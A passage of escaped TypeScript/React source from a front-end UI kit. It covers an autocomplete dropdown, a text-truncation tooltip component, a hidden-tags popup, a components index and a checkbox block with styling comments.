// Handle input change\n  const handleInputChange = (e: ChangeEvent<HTMLInputElement>) => {\n    updateInputValue(e.target.value, 'input')\n    if (!isOpen) {\n      setIsOpen(true)\n    }\n    setHighlightedIndex(-1)\n  }\n\n  // Handle option selection\n  const handleSelect = (option: AutocompleteOption<T>) => {\n    if (multiple) {\n      // Multiple mode: toggle selection\n      const isSelected = valueArray.includes(option.value)\n\n      if (isSelected) {\n        (props as AutocompleteMultipleProps<T>).onChange(valueArray.filter(v => v !== option.value))\n      } else {\n        if (maxItems && valueArray.length >= maxItems) {\n          return\n        }\n        (props as AutocompleteMultipleProps<T>).onChange([...valueArray, option.value])\n      }\n\n      updateInputValue(\"\", 'reset')\n      autoLimitTags.inputRef.current?.focus()\n    } else {\n      // Single mode: select and close\n      ;(props as AutocompleteSingleProps<T>).onChange(option.value)\n      // When clearOnOpen is false, keep the label as inputValue so\n      // filteredOptions is pre-computed before the next open (prevents flicker)\n      updateInputValue(clearOnOpen ? \"\" : option.label, 'reset')\n      setIsOpen(false)\n    }\n  }\n\n  // Handle clear\n  const handleClearAll = (e: ReactMouseEvent) => {\n    e.stopPropagation()\n    e.preventDefault()\n    if (multiple) {\n      ;(props as AutocompleteMultipleProps<T>).onChange([])\n    } else {\n      ;(props as AutocompleteSingleProps<T>).onChange(null)\n    }\n    if (!isInputControlled) {\n      setInternalInputValue(\"\")\n    }\n    onInputChange?.(\"\", 'clear')\n    setIsOpen(false)\n  }\n\n  // Handle keyboard navigation\n  const handleKeyDown = (e: KeyboardEvent) => {\n    switch (e.key) {\n      case \"ArrowDown\":\n        e.preventDefault()\n        if (!isOpen) {\n          openDropdown()\n        }\n        setHighlightedIndex(prev =>\n          prev < filteredOptions.length - 1 ? prev + 1 : 0\n        )\n        break\n      case \"ArrowUp\":\n        e.preventDefault()\n        setHighlightedIndex(prev =>\n          prev > 0 ? prev - 1 : filteredOptions.length - 1\n        )\n        break\n      case \"Enter\":\n        e.preventDefault()\n        if (showCreateOption) {\n          handleCreate()\n        } else if (highlightedIndex >= 0 && filteredOptions[highlightedIndex]) {\n          handleSelect(filteredOptions[highlightedIndex])\n        } else if (freeSolo && inputValue.trim()) {\n          const newOption: AutocompleteOption<T> = {\n            label: inputValue.trim(),\n            value: inputValue.trim() as T\n          }\n          handleSelect(newOption)\n        }\n        break\n      case \"Escape\": {\n        // Restore label when clearOnOpen is false, same as handleOpenChange close\n        const resetValue = !multiple && !clearOnOpen && selectedOption ? selectedOption.label : \"\"\n        updateInputValue(resetValue, 'reset')\n        setIsOpen(false)\n        setHighlightedIndex(-1)\n        break\n      }\n      case \"Backspace\":\n        break\n    }\n  }\n\n  // Handle popover open/close\n  const handleOpenChange = (open: boolean) => {\n    if (open) {\n      openDropdown()\n    } else {\n      // When clearOnOpen is false and there's a selection, restore the label\n      // so filteredOptions stays pre-computed for the next open\n      const resetValue = !multiple && !clearOnOpen && selectedOption ? selectedOption.label : \"\"\n      updateInputValue(resetValue, 'reset')\n      setIsOpen(false)\n    }\n  }\n\n  const canAddMore = multiple ? (!maxItems || valueArray.length < maxItems) : true\n  const hasValue = valueArray.length > 0\n\n  const popover = (\n    <PopoverPrimitive.Root open={isOpen} onOpenChange={handleOpenChange} modal={false}>\n      <PopoverPrimitive.Anchor asChild>\n        <div\n          // Same marker Input/Textarea/Select expose — it is how a form finds\n          // (and scrolls to) the first field that failed validation.\n          data-invalid={isInvalid || undefined}\n          className={cn(\n            // Layout — single line, no wrapping\n            \"flex items-center rounded-[6px] border min-h-11 md:min-h-12 cursor-text\",\n            \"focus-within:outline-none\",\n            \"transition-colors duration-200\",\n            \"bg-ods-card border-ods-border\",\n            \"group\",\n            !disabled && \"hover:bg-ods-bg-hover hover:border-ods-border-hover active:bg-ods-bg-active active:border-ods-border-active\",\n            disabled && \"!cursor-not-allowed bg-ods-bg\",\n            // Adornments / chevron carry their own colour — grey them with the\n            // value so a disabled field reads as one flat colour. Scoped to the\n            // DIRECT span child (the start adornment) on purpose: as a descendant\n            // rule it also hit the selected `Tag` chips in the middle zone, whose\n            // label is a span, and they went invisible against their own fill in\n            // the light theme. Anything nested inside the adornment that sets its\n            // own colour keeps it; anything that doesn't inherits the grey.\n            \"has-[:disabled]:[&>span]:text-ods-text-disabled has-[:disabled]:[&_svg]:text-ods-text-disabled\",\n            isOpen && !isInvalid && \"border-ods-accent hover:border-ods-accent\",\n            isInvalid && \"border-ods-error hover:border-ods-error\"\n          )}\n          onClick={() => {\n            if (!disabled) {\n              autoLimitTags.inputRef.current?.focus()\n              openDropdown()\n            }\n          }}\n        >\n          {/* Start Adornment */}\n          {startAdornment && (\n            <span className={cn(\n              \"flex-shrink-0 pl-3 text-ods-text-secondary transition-colors duration-200 [&_svg]:size-4 md:[&_svg]:size-6\",\n              isOpen && !isInvalid && \"text-ods-accent\",\n              isInvalid && \"text-ods-error\"\n            )}>\n              {startAdornment}\n            </span>\n          )}\n\n          {/* Middle zone: tags + input — single line with overflow */}\n          <div\n            ref={autoLimitTags.middleRef}\n            className=\"flex-1 flex items-center gap-2 min-w-0 overflow-hidden px-2\"\n          >\n            {/* Tags (multiple mode only) */}\n            {multiple && visibleTags.map((option) => (\n              <Tag\n                key={String(option.value)}\n                variant=\"outline\"\n                labelClassName=\"truncate max-w-[90px]\"\n                label={renderTag ? renderTag(option) : option.label}\n                onClose={!disabled ? () => {\n                  ;(props as AutocompleteMultipleProps<T>).onChange(valueArray.filter(v => v !== option.value))\n                } : undefined}\n              />\n            ))}\n\n            {/* Overflow indicator button (multiple mode only) */}\n            {multiple && hiddenTagsCount > 0 && (\n              <div ref={hiddenTagsRef} className=\"shrink-0\">\n                <button\n                  ref={autoLimitTags.badgeRef}\n                  type=\"button\"\n                  onClick={(e) => {\n                    e.stopPropagation()\n                    setShowHiddenTags(prev => {\n                      if (!prev) setIsOpen(false)\n                      return !prev\n                    })\n                  }}\n                  className={cn(\n                    \"flex items-center h-8 px-2\",\n                    \"bg-ods-card border border-ods-border rounded-[6px]\",\n                    \"text-h5 text-ods-text-secondary\",\n                    \"hover:bg-ods-bg-hover transition-colors cursor-pointer\"\n                  )}\n                >\n                  {getLimitTagsText(hiddenTagsCount)}\n                </button>\n              </div>\n            )}\n\n            {/* Input */}\n            {canAddMore && (\n              <input\n                ref={autoLimitTags.inputRef}\n                type=\"text\"\n                value={inputDisplayValue}\n                onChange={handleInputChange}\n                onKeyDown={handleKeyDown}\n                onFocus={() => openDropdown()}\n                placeholder={inputPlaceholder}\n                disabled={disabled}\n                className={innerInputStyles}\n              />\n            )}\n          </div>\n\n          {/* Clear / Chevron — pinned right */}\n          <div className=\"flex items-center gap-1 shrink-0 pr-3\">\n            {showClearAll && (hasValue || inputValue.length > 0) && !disabled && isOpen && (\n              <button\n                type=\"button\"\n                onClick={handleClearAll}\n                className=\"flex items-center justify-center hover:opacity-70 transition-opacity\"\n                aria-label=\"Clear all\"\n              >\n                <XmarkCircleIcon className=\"text-ods-text-secondary size-4 md:size-6\" />\n              </button>\n            )}\n            {loading ? (\n              <Loader2\n                className={cn(\n                  \"animate-spin size-4 md:size-6\",\n                  isInvalid ? \"text-ods-error\" : isOpen ? \"text-ods-accent\" : \"text-ods-text-secondary\"\n                )}\n              />\n            ) : showChevron && (\n              <Chevron02DownIcon\n                className={cn(\n                  \"transition-all duration-200 size-4 md:size-6\",\n                  \"text-ods-text-secondary\",\n                  isOpen && \"rotate-180\",\n                  isOpen && !isInvalid && \"text-ods-accent\",\n                  isInvalid && \"text-ods-error\"\n                )}\n              />\n            )}\n          </div>\n        </div>\n      </PopoverPrimitive.Anchor>\n\n      <PopoverPrimitive.Content\n        className={cn(\n          \"z-50 w-[var(--radix-popover-trigger-width)] mt-1\",\n          \"bg-ods-card border border-ods-border rounded-[4px]\",\n          \"flex flex-col overflow-hidden max-h-[var(--radix-popper-available-height)]\",\n          \"data-[state=open]:animate-in data-[state=open]:fade-in-0 data-[state=open]:zoom-in-95\",\n          \"data-[side=bottom]:slide-in-from-top-2 data-[side=top]:slide-in-from-bottom-2\",\n          dropdownClassName\n        )}\n        sideOffset={4}\n        align=\"start\"\n        // The anchor is the text field that raises the software keyboard, so\n        // this list is always positioned with the keyboard up — see\n        // useKeyboardCollisionPadding.\n        collisionPadding={{ bottom: keyboardPadding }}\n        onOpenAutoFocus={(e) => {\n          e.preventDefault()\n          autoLimitTags.inputRef.current?.focus()\n        }}\n        onInteractOutside={(e) => {\n          // Don't close if clicking inside the anchor/input container\n          if (containerRef.current?.contains(e.target as Node)) {\n            e.preventDefault()\n          }\n        }}\n      >\n        <ScrollAreaPrimitive.Root className=\"flex min-h-0 flex-col overflow-hidden\">\n          <ScrollAreaPrimitive.Viewport className=\"min-h-0 max-h-[240px] w-full [&>div]:!block\">\n            <div role=\"listbox\">\n              {loading ? (\n                <div className=\"px-3 py-2 text-ods-text-secondary text-h6\">\n                  {loadingText}\n                </div>\n              ) : filteredOptions.length === 0 ? (\n                showCreateOption ? (\n                  isCreateTooLong ? (\n                    <div className=\"flex items-center h-11 md:h-12 px-[var(--spacing-system-mf)] text-h5 text-ods-error min-w-0\">\n                      Maximum {maxCreateLength} characters\n                    </div>\n                  ) : (\n                    <div\n                      role=\"option\"\n                      aria-selected={false}\n                      className={cn(\n                        \"flex items-center h-11 md:h-12 px-[var(--spacing-system-mf)] cursor-pointer transition-colors min-w-0\",\n                        \"text-h4 text-ods-accent\",\n                        \"hover:bg-ods-bg-hover\"\n                      )}\n                      onClick={handleCreate}\n                    >\n                      {/* text-current: the row owns the typography/color (accent), not the TruncateText defaults. */}\n                      <TruncateText className=\"text-current\">{`+ Create \"${inputValue.trim()}\"`}</TruncateText>\n                    </div>\n                  )\n                ) : (\n                  <div className=\"px-3 py-2 text-ods-text-secondary text-h6\">\n                    {freeSolo && inputValue.trim() ? (\n                      <span>Press Enter to add &quot;{inputValue}&quot;</span>\n                    ) : (\n                      noOptionsText\n                    )}\n                  </div>\n                )\n              ) : (\n                filteredOptions.map((option, index) => {\n                  const isSelected = valueArray.includes(option.value)\n                  const isHighlighted = index === highlightedIndex\n\n                  return (\n                    <div\n                      key={String(option.value)}\n                      role=\"option\"\n                      aria-selected={isSelected}\n                      className={cn(\n                        \"group/item flex items-center h-11 md:h-12 px-[var(--spacing-system-mf)] cursor-pointer transition-colors border-b border-ods-border last:border-b-0\",\n                        \"text-h4\",\n                        isHighlighted && \"bg-ods-bg-surface\",\n                        isSelected ? \"text-ods-accent\" : \"text-ods-text-primary\",\n                        !isHighlighted && \"hover:bg-ods-bg-hover\"\n                      )}\n                      onClick={() => handleSelect(option)}\n                      onMouseEnter={() => setHighlightedIndex(index)}\n                    >\n                      {renderOption ? renderOption(option, isSelected) : (\n                        <div className=\"flex items-center justify-between gap-[var(--spacing-system-xsf)] w-full min-w-0\">\n                          {/* text-current: selection state colors the row (accent vs primary); inherit it. */}\n                          <TruncateText className=\"text-current\">{option.label}</TruncateText>\n                          <div className=\"flex items-center gap-[var(--spacing-system-xsf)] shrink-0\">\n                            {isSelected && (\n                              <CheckIcon className=\"text-ods-accent\" size={20} />\n                            )}\n                            {onDeleteOption && !isSelected && (\n                              <button\n                                type=\"button\"\n                                aria-label={`Delete ${option.label}`}\n                                onClick={e => {\n                                  e.stopPropagation()\n                                  onDeleteOption(option.value)\n                                }}\n                                disabled={isDeletingOption}\n                                className=\"opacity-0 transition-opacity group-hover/item:opacity-100 focus-visible:opacity-100 disabled:opacity-50 disabled:pointer-events-none\"\n                              >\n                                <TrashIcon className=\"size-4 text-ods-error\" />\n                              </button>\n                            )}\n                          </div>\n                        </div>\n                      )}\n                    </div>\n                  )\n                })\n              )}\n            </div>\n          </ScrollAreaPrimitive.Viewport>\n          <ScrollAreaPrimitive.Scrollbar\n            className=\"hidden\"\n            orientation=\"vertical\"\n          >\n            <ScrollAreaPrimitive.Thumb />\n          </ScrollAreaPrimitive.Scrollbar>\n        </ScrollAreaPrimitive.Root>\n      </PopoverPrimitive.Content>\n    </PopoverPrimitive.Root>\n  )\n\n  return (\n    <FieldWrapper label={label} labelVariant={labelVariant} error={error} className={className}>\n      <div className=\"relative\" ref={containerRef}>\n        {popover}\n\n        {/* Hidden tags popup — outside overflow-hidden; right-anchored to the field */}\n        {multiple && showHiddenTags && hiddenTagsCount > 0 && (\n          <HiddenTagsPopup\n            ref={hiddenTagsPopupRef}\n            items={hiddenTags}\n            disabled={disabled}\n            className=\"left-auto right-0 max-w-full\"\n            onRemove={(value) => {\n              const newValue = valueArray.filter(v => v !== value)\n              ;(props as AutocompleteMultipleProps<T>).onChange(newValue)\n              if (typeof limitTagsProp === \"number\" && newValue.length <= limitTagsProp) setShowHiddenTags(false)\n            }}\n          />\n        )}\n\n        {/* Off-screen measurement containers for auto-limit */}\n        {multiple && (\n          <>\n            <span\n              ref={autoLimitTags.textMeasureRef}\n              aria-hidden=\"true\"\n              className=\"absolute left-0 top-0 pointer-events-none invisible -z-10 whitespace-nowrap text-h4\"\n            >\n              {inputPlaceholder}\n            </span>\n            <div\n              ref={autoLimitTags.measureRef}\n              aria-hidden=\"true\"\n              className=\"absolute left-0 top-0 flex gap-2 pointer-events-none invisible -z-10\"\n            >\n              {selectedOptions.map((option) => (\n                <Tag\n                  key={`m-${String(option.value)}`}\n                  variant=\"outline\"\n                  labelClassName=\"truncate max-w-[90px]\"\n                  label={renderTag ? renderTag(option) : option.label}\n                  onClose={() => {}}\n                />\n              ))}\n            </div>\n          </>\n        )}\n      </div>\n    </FieldWrapper>\n  )\n}\n\n// Use overloaded signatures so TS can narrow single vs multiple based on the `multiple` prop\ntype AutocompleteComponent = {\n  <T = string>(props: AutocompleteMultipleProps<T> & { ref?: ForwardedRef<HTMLDivElement> }): ReactElement\n  <T = string>(props: AutocompleteSingleProps<T> & { ref?: ForwardedRef<HTMLDivElement> }): ReactElement\n}\n\nexport const Autocomplete = forwardRef(AutocompleteInner) as AutocompleteComponent\n","'use client'\n\nimport { type ReactNode } from 'react'\nimport { useIsTruncated } from '../../hooks/ui/use-is-truncated'\nimport { cn } from '../../utils/cn'\nimport { FloatingTooltip } from './floating-tooltip'\n\n/** ODS typography variants. Maps to the `.text-h1`…`.text-h6` utilities. */\nexport type TruncateTextVariant = 'h1' | 'h2' | 'h3' | 'h4' | 'h5' | 'h6'\n\n/** ODS text tone. Maps to the `text-ods-text-*` colour utilities. */\nexport type TruncateTextTone = 'primary' | 'secondary'\n\nexport interface TruncateTextProps {\n  children: string\n  /** Tooltip content; defaults to `children`. */\n  tooltip?: ReactNode\n  /** Extra classes merged after the variant/tone defaults. */\n  className?: string\n  side?: 'top' | 'right' | 'bottom' | 'left'\n  /** Max visible lines. `1` uses `truncate` (single-line ellipsis); higher values use `line-clamp-N`. */\n  lines?: 1 | 2 | 3 | 4 | 5 | 6\n  /** ODS typography token. Default: `'h4'` (body). */\n  variant?: TruncateTextVariant\n  /** ODS text tone. Default: `'primary'`. */\n  tone?: TruncateTextTone\n  /** Force the monospace (heading) font family — preserves the variant's size while swapping family. */\n  mono?: boolean\n  /**\n   * Extra classes for the tooltip trigger wrapper — the element that becomes the\n   * flex/grid item in the caller's layout (e.g. `flex-1`). Merged after the\n   * built-in `min-w-0 max-w-full`, which is what lets the trigger shrink inside\n   * flex rows so the text ellipsizes instead of clipping.\n   */\n  triggerClassName?: string\n  /**\n   * Trigger wrapper element. Default `'div'`. Use `'span'` where a block element\n   * is invalid HTML — inside a `<p>`, a heading, or another `<span>`; the span\n   * trigger is `inline-block` so the inner truncation still measures.\n   */\n  as?: 'div' | 'span'\n}\n\nconst VARIANT_CLASS: Record<TruncateTextVariant, string> = {\n  h1: 'text-h1',\n  h2: 'text-h2',\n  h3: 'text-h3',\n  h4: 'text-h4',\n  h5: 'text-h5',\n  h6: 'text-h6',\n}\n\nconst TONE_CLASS: Record<TruncateTextTone, string> = {\n  primary: 'text-ods-text-primary',\n  secondary: 'text-ods-text-secondary',\n}\n\nconst LINE_CLAMP_CLASS: Record<2 | 3 | 4 | 5 | 6, string> = {\n  2: 'line-clamp-2',\n  3: 'line-clamp-3',\n  4: 'line-clamp-4',\n  5: 'line-clamp-5',\n  6: 'line-clamp-6',\n}\n\n/**\n * Truncated text bound to the ODS typography system. Shows a `FloatingTooltip`\n * with the full value when (and only when) the content overflows.\n *\n * ```tsx\n * <TruncateText>{name}</TruncateText>                                // h4 / primary\n * <TruncateText variant=\"h6\" tone=\"secondary\">{email}</TruncateText> // caption\n * <TruncateText lines={3}>{description}</TruncateText>               // 3-line clamp\n * ```\n */\nexport function TruncateText({\n  children,\n  tooltip,\n  className,\n  side = 'top',\n  lines = 1,\n  variant = 'h4',\n  tone = 'primary',\n  mono = false,\n  triggerClassName,\n  as = 'div',\n}: TruncateTextProps) {\n  const isMultiLine = lines > 1\n  const { ref, isTruncated } = useIsTruncated<HTMLSpanElement>(children, { multiline: isMultiLine })\n\n  const clampClass = isMultiLine\n    ? LINE_CLAMP_CLASS[lines as Exclude<typeof lines, 1>]\n    : 'truncate block'\n\n  return (\n    <FloatingTooltip\n      content={tooltip ?? children}\n      side={side}\n      disabled={!isTruncated}\n      className=\"max-w-xs whitespace-pre-line [overflow-wrap:anywhere]\"\n      as={as}\n      // min-w-0: a flex/grid item's automatic minimum size is content-based when\n      // overflow is visible, so without this the trigger refuses to shrink and the\n      // text clips with no ellipsis and no tooltip.\n      triggerClassName={cn('min-w-0 max-w-full', as === 'span' && 'inline-block align-bottom', triggerClassName)}\n    >\n      <span\n        ref={ref}\n        className={cn(\n          VARIANT_CLASS[variant],\n          TONE_CLASS[tone],\n          mono && '[font-family:var(--font-family-heading)]',\n          clampClass,\n          className,\n        )}\n      >\n        {children}\n      </span>\n    </FloatingTooltip>\n  )\n}\n","\"use client\"\n\nimport { type CSSProperties, type ForwardedRef, type ReactNode, forwardRef } from \"react\"\nimport { XmarkCircleIcon } from \"../icons-v2-generated/signs-and-symbols/xmark-circle-icon\"\nimport { cn } from \"../../utils/cn\"\n\nexport interface HiddenTagItem {\n  label: ReactNode\n  value: unknown\n}\n\nexport interface HiddenTagsPopupProps {\n  items: HiddenTagItem[]\n  onRemove?: (value: unknown) => void\n  disabled?: boolean\n  className?: string\n  style?: CSSProperties\n}\n\nexport const HiddenTagsPopup = forwardRef(function HiddenTagsPopup(\n  { items, onRemove, disabled, className, style }: HiddenTagsPopupProps,\n  ref: ForwardedRef<HTMLDivElement>,\n) {\n  return (\n    <div\n      ref={ref}\n      style={style}\n      className={cn(\n        // Base positioning is neutral (left-anchored); consumers override via\n        // `style.left` (search-input, tag-search-input) or `className` (autocomplete).\n        \"absolute top-full left-0 mt-1 z-50 min-w-[200px]\",\n        \"bg-ods-card border border-ods-border rounded-[6px] shadow-lg\",\n        \"animate-in fade-in-0 zoom-in-95 duration-150\",\n        className,\n      )}\n    >\n      {items.map((item) => (\n        <div\n          key={String(item.value)}\n          className={cn(\n            \"flex items-center justify-between gap-3 px-3 h-11 md:h-12\",\n            \"border-b border-ods-border last:border-b-0\",\n          )}\n        >\n          <span className=\"min-w-0 flex-1 text-h5 truncate uppercase text-ods-text-primary\" title={typeof item.label === 'string' ? item.label : undefined}>\n            {item.label}\n          </span>\n          {!disabled && onRemove && (\n            <button\n              type=\"button\"\n              onClick={(e) => {\n                e.stopPropagation()\n                onRemove(item.value)\n              }}\n              className=\"shrink-0 text-ods-text-secondary hover:text-ods-text-primary transition-colors\"\n              aria-label={`Remove ${String(item.label)}`}\n            >\n              <XmarkCircleIcon size={20} />\n            </button>\n          )}\n        </div>\n      ))}\n    </div>\n  )\n})\n","\"use client\"\n\n// UI Components exports\nexport * from './allowed-domains-input'\nexport * from './announcement-bar-view'\nexport * from './autocomplete'\nexport * from './button'\nexport * from './card'\nexport * from './checkbox'\nexport * from './checkbox-block'\nexport * from './checkbox-with-description'\nexport * from './date-picker'\nexport * from './duration-input'\nexport * from './field'\nexport * from './field-wrapper'\nexport * from './honeypot-field'\nexport * from './info-hint'\nexport * from './json-detail-list'\nexport * from './info-card'\nexport * from './info-row'\nexport * from './info-section'\nexport * from './input'\nexport * from './input-trigger'\nexport * from './interactive-card'\nexport * from './label'\nexport * from './media-type-selector'\nexport * from './no-data'\nexport * from './page-loader'\nexport * from './progress-bar'\nexport * from './radio-group'\nexport * from './scroll-fade'\nexport * from './select'\nexport * from './switch'\nexport * from './tag-select-dropdown'\nexport * from './tags-input'\nexport * from './tags-manager'\nexport * from './textarea'\n// Layout components\nexport * from './alert-dialog'\nexport * from './aspect-ratio'\nexport * from './dialog'\nexport * from './image-gallery-modal'\nexport * from './modal'\nexport * from './modal-v2'\nexport * from './modal-guarded-close'\nexport * from './admin-form-modal'\nexport * from './separator'\nexport * from './sheet'\nexport * from './drawer'\nexport * from './tabs'\n// Navigation components\nexport * from './accordion'\nexport * from './breadcrumb'\nexport * from './dropdown-menu'\nexport * from './menubar'\nexport * from './navigation-menu'\nexport * from './crossfade-panels'\nexport * from './tab-content'\nexport * from './tab-navigation'\n// Feedback components\nexport * from './alert'\nexport * from './badge'\nexport * from './ai-generated-badge'\nexport * from './fade-preview'\nexport * from './progress'\nexport * from './release-changelog-section'\nexport * from './stacked-rows-panel'\nexport * from './slack-channel-chip'\nexport * from './status-badge'\nexport * from './status-indicator'\nexport * from './toaster'\n// TODO: Add other UI components as they are moved to ui-kit\nexport * from './skeleton'\nexport * from './hover-dropdown'\n// Chat components\nexport * from '../chat'\nexport * from '../layout/back-button'\nexport * from '../layout/list-page-layout'\nexport * from '../layout/page-container'\nexport * from '../layout/page-heading'\nexport * from '../layout/page-layout'\nexport * from '../layout/article-detail-layout'\nexport { ToggleGroup, ToggleGroupItem } from '../toggle-group'\nexport * from './actions-menu'\nexport * from './benefit-card'\nexport * from './brand-association-card'\nexport * from './brand-association-grid'\nexport * from './bullet-list'\nexport * from './chevron-button'\nexport * from './circular-progress'\nexport { CheckIcon, CheckCircleIcon as LucideCheckCircleIcon, XIcon as LucideXIcon, MinusIcon, XCircleIcon } from './custom-icons'\nexport * from './dashboard-info-card'\nexport * from './info-card-row'\nexport * from './device-card'\nexport * from './device-card-compact'\nexport * from './entity-image'\nexport * from './feature-card'\nexport * from './feature-list'\nexport { FloatingTooltip } from './floating-tooltip'\nexport { SourceTooltip, type SourceTooltipProps, type SourceRef } from './source-tooltip'\nexport { TruncateText, type TruncateTextProps } from './truncate-text'\nexport * from './highlight-card'\nexport * from './icons-block'\nexport * from './filter-modal'\nexport * from './dropdown-button'\nexport * from './more-actions-menu'\nexport * from './organization-card'\nexport * from './page-actions'\nexport * from './service-card'\nexport * from './slider'\nexport * from './avatar-stack'\nexport * from './deleted-user-avatar'\nexport * from './square-avatar'\nexport * from './tab-selector'\nexport * from './tag'\nexport * from './title-content-block'\nexport * from './toggle'\nexport * from './tooltip'\nexport * from './touch-friendly-tooltip'\nexport * from './error-state'\nexport * from './content-loader'\n\n// Table components\nexport {\n  COMPACT_ROW_MIN_HEIGHT_PX,\n  Table, TableCardSkeleton, TableCell,\n  TableDescriptionCell, TableEmptyState, TableHeader,\n  TableRow, TableTimestampCell\n} from './table'\n\nexport type {\n  PagePagination, RowAction, TableCardSkeletonProps, TableCellProps, TableColumn, TableDescriptionCellProps, TableEmptyStateProps, TableHeaderProps, TableProps, TableRowProps, TableTimestampCellProps\n} from './table'\n\n// Query Report Table (dynamic columns for osquery results)\nexport {\n  QueryReportTable, QueryReportTableHeader,\n  QueryReportTableRow, QueryReportTableSkeleton,\n  deriveColumns, exportToCSV\n} from './query-report-table'\n\nexport type {\n  QueryReportTableProps, QueryReportTableHeaderProps,\n  QueryReportTableRowProps, QueryReportTableSkeletonProps,\n  QueryResultRow\n} from './query-report-table'\n\n// Pagination components\nexport { CursorPagination, CursorPaginationSimple } from './cursor-pagination'\nexport type { CursorPaginationProps } from './cursor-pagination'\n\n// DataTable (headless, TanStack Table-based) — replacement for legacy `Table`.\nexport * from './data-table'\n\n// Password input (show/hide toggle)\nexport * from './password-input'\n\n// Phone input\nexport * from './phone-input'\n\n// Search\nexport * from './search-input'\nexport * from './filter-checkbox-item'\nexport * from './filter-list'\nexport * from './hidden-tags-popup'\nexport * from './tag-search-input'\nexport * from './tag-key-value-filter'\n\n// Markdown Editor (MDEditor-based)\nexport * from './markdown-editor'\n\n// File Upload\nexport * from './file-upload'\nexport * from './image-uploader'\n\n// Ticket components\nexport * from './ticket-status-tag'\nexport * from './ticket-status-config-row'\nexport * from './color-swatch'\nexport * from './color-preset-select'\nexport * from './searchable-select'\nexport * from './test-run'\nexport * from './assignee-dropdown'\nexport * from './ticket-info-section'\nexport * from './take-over-ticket-modal'\nexport * from './reopen-ticket-modal'\nexport * from './reopen-ticket-request-modal'\nexport * from './ticket-detail-section'\nexport * from './ticket-attachments-list'\nexport * from './ticket-note-card'\nexport * from './ticket-notes-section'\nexport * from './marquee-wall'\nexport * from './markdown'\nexport * from './filter-pill-row'\n\n","\"use client\"\n\nimport * as CheckboxPrimitive from \"@radix-ui/react-checkbox\"\nimport * as React from \"react\"\nimport { CheckboxCheckmarkIcon } from \"../icons-v2-generated/signs-and-symbols/checkbox-checkmark-icon\"\n\nimport { cn } from \"../../utils/cn\"\n\ninterface CheckboxBlockProps {\n  id?: string\n  checked?: boolean\n  defaultChecked?: boolean\n  onCheckedChange?: (checked: boolean) => void\n  /** Primary label (supports rich text / ReactNode for inline links) */\n  label: React.ReactNode\n  /** Optional secondary description below the label (supports rich text / ReactNode) */\n  description?: React.ReactNode\n  /** Keep the label on one line and ellipsize on overflow instead of wrapping */\n  truncateLabel?: boolean\n  /**\n   * Optional trailing slot rendered at the end of the row (e.g. an action\n   * button). Interactive content must call `preventDefault` on click to stop\n   * the wrapping label from toggling the checkbox.\n   */\n  trailing?: React.ReactNode\n  disabled?: boolean\n  /** Error message displayed below the block (also triggers red border) */\n  error?: string\n  className?: string\n}\n\nconst CheckboxBlock = React.forwardRef<\n  React.ComponentRef<typeof CheckboxPrimitive.Root>,\n  CheckboxBlockProps\n>(({ id, checked, defaultChecked, onCheckedChange, label, description, truncateLabel, trailing, disabled, error, className }, ref) => (\n  <div className={cn(\"relative flex w-full flex-col\", className)}>\n    <label\n      htmlFor={id}\n      // Same marker every field exposes — it is how a form finds (and scrolls\n      // to) the first control that failed validation.\n      data-invalid={error ? true : undefined}\n      className={cn(\n        \"flex items-center gap-[var(--spacing-system-s)] rounded-md ring-1 ring-inset w-full\",\n        // Trailing content stacks full-width below the text on mobile.\n        trailing && \"flex-wrap md:flex-nowrap\",\n        \"p-[var(--spacing-system-sf)]\",\n        !description && \"min-h-[44px] md:min-h-[48px]\",\n        description && \"min-h-[60px] md:min-h-[64px]\",\n        \"bg-ods-card ring-ods-border\",\n        \"cursor-pointer transition-colors duration-200\",\n        // States mirror Input: hover / active move the BACKGROUND, the ring\n        // stays put. Disabled swaps to the flat `ods-bg` fill and greys the\n        // text + the box instead of fading the whole block, so a disabled block\n        // reads the same as a disabled field. The greying itself lives on the\n        // TEXT COLUMN below, not here: as a descendant rule on the label it also\n        // repainted the checked INDICATOR (Radix renders it as a `span`, and the\n        // checkmark svg inherits `currentColor`) and whatever `trailing` renders\n        // — a `Tag`'s label is a span too, and it went invisible against its own\n        // fill in the light theme.\n        !disabled && \"hover:bg-ods-bg-hover active:bg-ods-bg-active\",\n        disabled && \"cursor-not-allowed bg-ods-bg\",\n        error && \"ring-ods-error\",\n      )}\n    >\n      <CheckboxPrimitive.Root\n        ref={ref}\n        id={id}\n        checked={checked}\n        defaultChecked={defaultChecked}\n        onCheckedChange={onCheckedChange}\n        disabled={disabled}\n        className={cn(\n          \"h-4 w-4 md:h-6 md:w-6 shrink-0\",\n          \"rounded-[6px] border-2\",\n          error ? \"border-ods-error\" : \"border-[var(--color-border-strong)]\",\n          \"bg-ods-card\",\n          \"focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ods-accent focus-visible:ring-offset-2 focus-visible:ring-offset-ods-card\",\n          // Disabled: the EMPTY box dims with the text instead of the whole\n          // block fading. A checked box keeps its accent fill — greying it too\n          // would bury the checkmark, and \"on but locked\" has to stay readable.\n          \"disabled:cursor-not-allowed\",\n          \"disabled:data-[state=unchecked]:bg-ods-bg disabled:data-[state=unchecked]:border-ods-border\",\n          \"data-[state=checked]:bg-[var(--color-accent-primary)] data-[state=checked]:border-[var(--color-accent-primary)]\"\n        )}\n      >\n        <CheckboxPrimitive.Indicator\n          className=\"flex items-center justify-center text-ods-text-on-accent\"\n        >\n          <CheckboxCheckmarkIcon className=\"w-2 h-2 md:w-2.5 md:h-2.5\" />\n        </CheckboxPrimitive.Indicator>\n      </CheckboxPrimitive.Root>\n      <div\n        className={cn(\n          \"flex flex-1 flex-col justify-center min-w-0\",\n          // Direct children only — these are the two component-owned wrappers.\n          // `label` and `description` are ReactNode (rich text, inline links),\n          // so a descendant rule would repaint content the caller styled itself.\n          disabled && \"[&>span]:text-ods-text-disabled\",\n        )}\n      >\n        <span className={cn(\n          \"text-h4 !leading-5 md:!leading-6\",\n          \"text-ods-text-primary select-none\",\n          truncateLabel ? \"block truncate\" : \"break-words\"\n        )}>\n          {label}\n        </span>\n        {description && (\n          <span className={cn(\n            \"text-h6 !leading-4\",\n            \"text-ods-text-secondary select-none break-words\"\n          )}>\n            {description}\n          </span>\n        )}\n      </div>\n      {trailing && (\n        <div className=\"flex w-full shrink-0 items-center md:ml-auto md:w-auto\">{trailing}</div>\n      )}\n    </label>\n    {error && (\n      <p className=\"absolute bottom-0 left-0 right-0 translate-y-full text-h6 truncate text-ods-error\" title={error}>\n        {error}\n      </p>\n    )}\n  </div>\n))\nCheckboxBlock.displayName = \"CheckboxBlock\"\n\nexport { CheckboxBlock }\nexport type { 